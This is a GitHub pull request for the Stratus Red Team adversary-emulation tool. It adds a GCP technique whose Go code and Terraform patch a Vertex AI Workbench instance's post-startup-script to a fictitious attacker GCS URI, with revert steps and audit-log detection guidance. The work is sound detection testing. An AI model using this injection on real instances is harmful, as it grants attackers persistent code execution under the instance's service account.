-
Notifications
You must be signed in to change notification settings - Fork 303
New attack technique: Inject a Malicious Startup Script into a Vertex AI Workbench Instance (gcp.execution.modify-vertex-notebook-startup) #798
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
christophetd
merged 6 commits into
simon.marechal/gcp-execution-modify-gce-startup-script
from
simon.marechal/gcp-execution-modify-vertex-notebook-startup
Apr 30, 2026
Merged
Changes from 3 commits
Commits
Show all changes
6 commits
Select commit
Hold shift + click to select a range
faa093f
New attack technique: Inject a Malicious Startup Script into a Vertex…
Minosity-VR 5c6f5bf
Add external references for technique documentation
Minosity-VR 2889bcd
Address PR feedback: remove HackTricks refs, regenerate docs
Minosity-VR 7fb4cae
Document Notebooks API requirement for Vertex Workbench technique
christophetd d2241e6
Merge remote-tracking branch 'origin/simon.marechal/gcp-execution-mod…
christophetd 95b3b0d
Regenerate docs/index.yaml after merge
christophetd File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
67 changes: 67 additions & 0 deletions
67
docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,67 @@ | ||
| --- | ||
| title: Inject a Malicious Startup Script into a Vertex AI Workbench Instance | ||
| --- | ||
|
|
||
| # Inject a Malicious Startup Script into a Vertex AI Workbench Instance | ||
|
|
||
| <span class="smallcaps w3-badge w3-orange w3-round w3-text-sand" title="This attack technique might be slow to warm up or detonate">slow</span> | ||
|
|
||
|
|
||
| Platform: GCP | ||
|
|
||
| ## Mappings | ||
|
|
||
| - MITRE ATT&CK | ||
| - Execution | ||
| - Privilege Escalation | ||
|
|
||
|
|
||
|
|
||
| ## Description | ||
|
|
||
|
|
||
| Modifies a Vertex AI Workbench (user-managed notebook) instance to execute a | ||
| remote script on the next start by injecting a malicious URL into the instance's | ||
| <code>post-startup-script</code> metadata field. An attacker with | ||
| <code>notebooks.instances.update</code> permission can use this technique to | ||
| achieve persistent code execution inside the notebook environment, run under | ||
| the instance's service account identity. | ||
|
|
||
| <span style="font-variant: small-caps;">Warm-up</span>: | ||
|
|
||
| - Create a Vertex AI Workbench instance (<code>e2-standard-2</code>, us-central1-a) | ||
|
|
||
| <span style="font-variant: small-caps;">Detonation</span>: | ||
|
|
||
| - Patch the Workbench instance's GCE setup metadata to set | ||
| <code>post-startup-script</code> to a fictitious attacker-controlled GCS URI | ||
| (<code>gs://evil-attacker-<project-id>-<random>/malicious.sh</code>) | ||
|
|
||
| Revert: | ||
|
|
||
| - Remove the <code>post-startup-script</code> metadata key from the instance | ||
|
|
||
| References: | ||
|
|
||
| - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction | ||
| - https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch | ||
| - https://sra.io/blog/privilege-escalation-in-aws-and-gcp-machine-learning-instances/ | ||
| - https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/ | ||
|
|
||
|
|
||
| ## Instructions | ||
|
|
||
| ```bash title="Detonate with Stratus Red Team" | ||
| stratus detonate gcp.execution.modify-vertex-notebook-startup | ||
| ``` | ||
| ## Detection | ||
|
|
||
|
|
||
| Identify when a Vertex AI Workbench instance's metadata is modified by monitoring | ||
| for <code>google.cloud.notebooks.v2.NotebookService.UpdateInstance</code> events in | ||
| GCP Admin Activity audit logs. Alert when the <code>post-startup-script</code> or | ||
| <code>startup-script</code> metadata fields are added or changed to external URLs, | ||
| which may indicate an attempt to establish persistent code execution in the notebook | ||
| environment. | ||
|
|
||
|
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
192 changes: 192 additions & 0 deletions
192
v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,192 @@ | ||
| package gcp | ||
|
|
||
| import ( | ||
| "context" | ||
| "crypto/rand" | ||
| _ "embed" | ||
| "encoding/hex" | ||
| "fmt" | ||
| "log" | ||
| "maps" | ||
| "time" | ||
|
|
||
| "github.com/datadog/stratus-red-team/v2/pkg/stratus" | ||
| "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" | ||
| notebooks "google.golang.org/api/notebooks/v2" | ||
| ) | ||
|
|
||
| //go:embed main.tf | ||
| var tf []byte | ||
|
|
||
| func init() { | ||
| stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ | ||
| ID: "gcp.execution.modify-vertex-notebook-startup", | ||
| FriendlyName: "Inject a Malicious Startup Script into a Vertex AI Workbench Instance", | ||
| Description: ` | ||
| Modifies a Vertex AI Workbench (user-managed notebook) instance to execute a | ||
| remote script on the next start by injecting a malicious URL into the instance's | ||
| <code>post-startup-script</code> metadata field. An attacker with | ||
| <code>notebooks.instances.update</code> permission can use this technique to | ||
| achieve persistent code execution inside the notebook environment, run under | ||
| the instance's service account identity. | ||
|
|
||
| Warm-up: | ||
|
|
||
| - Create a Vertex AI Workbench instance (<code>e2-standard-2</code>, us-central1-a) | ||
|
|
||
| Detonation: | ||
|
|
||
| - Patch the Workbench instance's GCE setup metadata to set | ||
| <code>post-startup-script</code> to a fictitious attacker-controlled GCS URI | ||
| (<code>gs://evil-attacker-<project-id>-<random>/malicious.sh</code>) | ||
|
|
||
| Revert: | ||
|
|
||
| - Remove the <code>post-startup-script</code> metadata key from the instance | ||
|
|
||
| References: | ||
|
|
||
| - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction | ||
| - https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch | ||
| - https://sra.io/blog/privilege-escalation-in-aws-and-gcp-machine-learning-instances/ | ||
| - https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/ | ||
| `, | ||
| Detection: ` | ||
| Identify when a Vertex AI Workbench instance's metadata is modified by monitoring | ||
| for <code>google.cloud.notebooks.v2.NotebookService.UpdateInstance</code> events in | ||
| GCP Admin Activity audit logs. Alert when the <code>post-startup-script</code> or | ||
| <code>startup-script</code> metadata fields are added or changed to external URLs, | ||
| which may indicate an attempt to establish persistent code execution in the notebook | ||
| environment. | ||
| `, | ||
| Platform: stratus.GCP, | ||
| IsIdempotent: false, | ||
| IsSlow: true, | ||
| MitreAttackTactics: []mitreattack.Tactic{mitreattack.Execution, mitreattack.PrivilegeEscalation}, | ||
| PrerequisitesTerraformCode: tf, | ||
| Detonate: detonate, | ||
| Revert: revert, | ||
| }) | ||
| } | ||
|
|
||
| func newNotebooksService(ctx context.Context, providers stratus.CloudProviders) (*notebooks.Service, error) { | ||
| svc, err := notebooks.NewService(ctx, providers.GCP().Options()) | ||
| if err != nil { | ||
| return nil, fmt.Errorf("failed to create Notebooks client: %w", err) | ||
| } | ||
| return svc, nil | ||
| } | ||
|
|
||
| func instancePath(projectId, location, instanceName string) string { | ||
| return fmt.Sprintf("projects/%s/locations/%s/instances/%s", projectId, location, instanceName) | ||
| } | ||
|
|
||
| // waitForNotebooksOperation polls a Notebooks long-running operation until it | ||
| // completes or the maximum number of attempts is reached. | ||
| func waitForNotebooksOperation(ctx context.Context, svc *notebooks.Service, opName string) error { | ||
| const maxAttempts = 60 | ||
| const pollInterval = 10 * time.Second | ||
|
|
||
| for attempt := range maxAttempts { | ||
| op, err := svc.Projects.Locations.Operations.Get(opName).Context(ctx).Do() | ||
| if err != nil { | ||
| return fmt.Errorf("failed to poll Notebooks operation %s: %w", opName, err) | ||
| } | ||
| if op.Done { | ||
| if op.Error != nil { | ||
| return fmt.Errorf("Notebooks operation %s failed: %s", opName, op.Error.Message) | ||
| } | ||
| return nil | ||
| } | ||
| log.Printf("Waiting for Notebooks patch operation to complete (attempt %d/%d)\n", attempt+1, maxAttempts) | ||
| time.Sleep(pollInterval) | ||
| } | ||
| return fmt.Errorf("Notebooks operation %s did not complete after %d attempts", opName, maxAttempts) | ||
| } | ||
|
|
||
| func setPostStartupScript(ctx context.Context, svc *notebooks.Service, projectId, location, instanceName, scriptURL string) error { | ||
| path := instancePath(projectId, location, instanceName) | ||
|
|
||
| // Fetch the current instance to preserve any existing GCE setup fields. | ||
| instance, err := svc.Projects.Locations.Instances.Get(path).Context(ctx).Do() | ||
| if err != nil { | ||
| return fmt.Errorf("failed to get Workbench instance %s: %w", path, err) | ||
| } | ||
|
|
||
| // Preserve existing metadata and inject / remove the post-startup-script key. | ||
| metadata := make(map[string]string) | ||
| if instance.GceSetup != nil && instance.GceSetup.Metadata != nil { | ||
| maps.Copy(metadata, instance.GceSetup.Metadata) | ||
| } | ||
|
|
||
| if scriptURL == "" { | ||
| delete(metadata, "post-startup-script") | ||
| } else { | ||
| metadata["post-startup-script"] = scriptURL | ||
| } | ||
|
|
||
| patchedGceSetup := ¬ebooks.GceSetup{ | ||
| Metadata: metadata, | ||
| } | ||
|
|
||
| op, err := svc.Projects.Locations.Instances.Patch(path, ¬ebooks.Instance{ | ||
| GceSetup: patchedGceSetup, | ||
| }).UpdateMask("gceSetup.metadata").Context(ctx).Do() | ||
| if err != nil { | ||
| return fmt.Errorf("failed to patch Workbench instance %s: %w", path, err) | ||
| } | ||
|
|
||
| return waitForNotebooksOperation(ctx, svc, op.Name) | ||
| } | ||
|
|
||
| func detonate(params map[string]string, providers stratus.CloudProviders) error { | ||
| gcp := providers.GCP() | ||
| projectId := gcp.GetProjectId() | ||
| instanceName := params["instance_name"] | ||
| location := params["location"] | ||
| ctx := context.Background() | ||
|
|
||
| svc, err := newNotebooksService(ctx, providers) | ||
| if err != nil { | ||
| return err | ||
| } | ||
|
|
||
| // The post-startup-script field only accepts gs:// URIs — the script is fetched | ||
| // from GCS when the instance boots, so GCP does not validate the bucket exists at | ||
| // patch time. Using a fictitious attacker-controlled bucket simulates the attack. | ||
| // GCS bucket names are globally unique, so a random suffix is added to the project | ||
| // ID to prevent a third party from pre-registering the bucket name. | ||
| var nonce [4]byte | ||
| if _, err = rand.Read(nonce[:]); err != nil { | ||
| return fmt.Errorf("failed to generate random nonce: %w", err) | ||
| } | ||
| maliciousURL := fmt.Sprintf("gs://evil-attacker-%s-%s/malicious.sh", projectId, hex.EncodeToString(nonce[:])) | ||
| log.Printf("Injecting post-startup-script %s into Workbench instance %s\n", maliciousURL, instanceName) | ||
| if err = setPostStartupScript(ctx, svc, projectId, location, instanceName, maliciousURL); err != nil { | ||
| return err | ||
| } | ||
|
|
||
| log.Printf("Successfully injected malicious startup script into Workbench instance %s — script will execute on next start\n", instanceName) | ||
| return nil | ||
| } | ||
|
|
||
| func revert(params map[string]string, providers stratus.CloudProviders) error { | ||
| gcp := providers.GCP() | ||
| projectId := gcp.GetProjectId() | ||
| instanceName := params["instance_name"] | ||
| location := params["location"] | ||
| ctx := context.Background() | ||
|
|
||
| svc, err := newNotebooksService(ctx, providers) | ||
| if err != nil { | ||
| return err | ||
| } | ||
|
|
||
| log.Printf("Removing post-startup-script from Workbench instance %s\n", instanceName) | ||
| if err = setPostStartupScript(ctx, svc, projectId, location, instanceName, ""); err != nil { | ||
| return err | ||
| } | ||
|
|
||
| log.Printf("Successfully removed malicious startup script from Workbench instance %s\n", instanceName) | ||
| return nil | ||
| } |
56 changes: 56 additions & 0 deletions
56
v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,56 @@ | ||
| terraform { | ||
| required_providers { | ||
| google = { | ||
| source = "hashicorp/google" | ||
| version = "~> 6.18.1" | ||
| } | ||
| random = { | ||
| source = "hashicorp/random" | ||
| version = "~> 3.3.2" | ||
| } | ||
| } | ||
| } | ||
|
|
||
| locals { | ||
| resource_prefix = "stratus-red-team-mvns" # modify vertex notebook startup | ||
| } | ||
|
|
||
| resource "random_string" "suffix" { | ||
| length = 8 | ||
| special = false | ||
| min_lower = 8 | ||
| } | ||
|
|
||
| resource "google_compute_network" "vpc" { | ||
| name = "${local.resource_prefix}-vpc-${random_string.suffix.result}" | ||
| auto_create_subnetworks = true | ||
| } | ||
|
|
||
| resource "google_workbench_instance" "notebook" { | ||
| name = "${local.resource_prefix}-${random_string.suffix.result}" | ||
| location = "us-central1-a" | ||
|
|
||
| gce_setup { | ||
| machine_type = "e2-standard-2" | ||
|
|
||
| boot_disk { | ||
| disk_size_gb = 150 | ||
| } | ||
|
|
||
| network_interfaces { | ||
| network = google_compute_network.vpc.self_link | ||
| } | ||
| } | ||
| } | ||
|
|
||
| output "instance_name" { | ||
| value = google_workbench_instance.notebook.name | ||
| } | ||
|
|
||
| output "location" { | ||
| value = google_workbench_instance.notebook.location | ||
| } | ||
|
|
||
| output "display" { | ||
| value = format("Vertex AI Workbench instance %s in %s ready", google_workbench_instance.notebook.name, google_workbench_instance.notebook.location) | ||
| } | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think we need to mention this in the docs, or ideally print a nicer error message